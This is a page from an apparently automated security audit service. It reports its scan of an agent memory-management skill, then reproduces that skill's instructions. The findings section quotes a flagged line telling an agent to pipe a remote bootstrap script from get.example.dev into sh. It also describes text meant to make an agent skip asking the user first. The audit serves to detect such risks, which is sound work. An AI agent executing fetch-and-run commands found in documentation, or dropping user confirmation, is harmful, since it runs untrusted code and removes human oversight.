os-memory-manager — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited os-memory-manager (Agent Skill) and scored it 79/100 (yellow). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 3 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 4 flagged
A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
This skill requires the Agentic OS to be initialized first. It calls context/kernel.py, context/memory.md, and context/.locks/ — files that only exist after running the os-init skill in your project.
If you have not yet initialized the OS, run:
os-initThis skill requires Python 3.8+ and standard library only. No external packages needed.
To install this skill's dependencies:
pip-compile ./requirements.in
pip install -r ./requirements.txtSee ./requirements.txt for the dependency lockfile (currently empty — standard library only).
Manages the three tiers of agent memory in an Agentic OS environment.
| Tier | File | Written By | When Loaded |
|---|---|---|---|
| Auto-memory | MEMORY.md | Claude automatically | Every session (Anthropic native) |
| Long-term facts | context/memory.md | You (curated) | @imported in CLAUDE.md |
| Session logs | context/memory/YYYY-MM-DD.md | Agent at session close | On demand |
Execute these phases in order. Do not skip phases.
Before taking any actions, you MUST publish your intent to the Event Bus. Use the Bash tool to run: python context/kernel.py emit_event --agent os-memory-manager --type intent --action promote_memory
python context/kernel.py state_update active_agent os-memory-manager, python context/kernel.py state_update mode memory-gc, and python context/kernel.py state_update memory_gc_due false.python context/kernel.py acquire_lock memory using the Bash tool to acquire the lock. If it fails, abort. The kernel handles stale lock timeouts automatically.context/memory.md)context/memory.md)Write to context/memory/YYYY-MM-DD.md. Use today's date.
Use this template:
# Session Log: YYYY-MM-DD
## Summary
[1-2 sentence summary of what was accomplished]
## Key Decisions
- [Decision 1 and its rationale]
- [Decision 2 and its rationale]
## Lessons Learned
- [Lesson or edge case discovered]
## Skills Updated
- [Skill name]: [what changed]
## Open Items
- [ ] [Next steps or follow-up tasks]Before general promotion, handle test registry files specially:
Verify it exists and the latest cycle row is CLOSED before proceeding.
context/memory/tests/[CYCLE_ID]_*.md) — preserve in placefor 90 days, then move to context/memory/tests/archive/. Never delete.
hypothesis, check whether the finding is already in context/memory.md. If not, promote it as a fact with the cycle ID as evidence source.
context/memory.md for a "DO NOT RE-TEST" entry.If missing, add it now to prevent future wasted cycles.
For each item in the session log, apply the promote/skip decision:
If a fact is selected for promotion, you MUST first read `context/memory.md` AND the last 10 entries of `MEMORY.md`:
context/memory.md (e.g., if the highest is [#042], assign [#043]) to prevent syntactic duplication. Ensure this ID prefix [#ID] is stored with the fact. Let the user know the generated ID. Use grep -c "^\[#" via Bash if you need help finding the count.grep -ri "[Fact Keywords]" ./skills/ using the Bash tool to ensure promoted memory doesn't break or contradict existing procedural skills.<CONFLICT> before any Write. Ask the user if the new proposed fact supersedes the existing fact (to replace the old hash) or if it's a conflict to resolve. If superseding, you MUST output a <SUPERSEDE old_id=NNN> marker (e.g., <SUPERSEDE old_id=042>) so the next learning loop can locate and prune the old fact. Never silently overwrite — the marker is required for audit trail continuity.Write in a git stash + diff preview (use Bash tool). If the user rejects the preview, run git stash pop to rollback.Read tool on the exact file. If the expected diff is not present, output <WRITE_FAILED> and run git stash pop.Format facts in context/memory.md like this (choose one format and stick to it):
Option A — Markdown (default, human-readable):
## [YYYY-MM-DD] [Topic]
[The fact, decision, or convention in 1-3 sentences]Option B — Structured JSON entries (recommended for projects with high fact volume or automated tooling):
{"id": "build_cmd_001", "type": "command", "topic": "build", "value": "npm run build", "source": "session-2026-03-19", "supersedes": null}Append one JSON object per line to a context/memory.jsonl file. Reference it from context/memory.md with a note: <!-- structured facts in context/memory.jsonl -->. Benefits: unambiguous deduplication by id, machine-queryable, easier <SUPERSEDE> enforcement.
You MUST verify the size of the curated memory file to prevent context degradation.
wc -c context/memory.md using the Bash tool to check the exact byte size.(Line count is unreliable on Windows due to CRLF line endings; byte size is platform-neutral.)
mkdir -p context/memory/archive/context/memory/archive/YYYY-MM.md using Write.context/memory.md using Write.<!-- Archived data -> context/memory/archive/ -->) exists at the top of context/memory.md.Before releasing the lock, complete the Post-Run Self-Assessment Survey (references/memory/post_run_survey.md). The memory manager must reflect on its own runs to improve the quality of what gets promoted and what gets skipped.
Count-Based Signals: How many times were you uncertain whether to promote or skip? How many potential conflicts did you flag? How many dedup IDs did you assign?
Qualitative Friction:
Improvement Recommendation: What one change to this skill should be tested next run?
Save to: ${CLAUDE_PROJECT_DIR}/context/memory/retrospectives/survey_[YYYYMMDD]_[HHMM]_os-memory-manager.md
Emit survey completion:
python context/kernel.py emit_event --agent os-memory-manager \
--type learning --action survey_completed \
--summary "retrospectives/survey_[DATE]_[TIME]_os-memory-manager.md"After writing and survey saved, show a summary:
[x] Session log written: context/memory/YYYY-MM-DD.md
[x] Promoted N facts to context/memory.md
[x] Survey saved: retrospectives/survey_[DATE]_[TIME]_os-memory-manager.md
[ ] No archive needed (current count: N facts)Event Bus Publish: Use Bash to emit your success result: python context/kernel.py emit_event --agent os-memory-manager --type result --action promote_memory --status success
Finally, Lock Release Protocol: Execute python context/kernel.py release_lock memory to release the acquired loop lock.
os-guide skillreferences/architecture/claude-md-hierarchy.md in os-guide~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.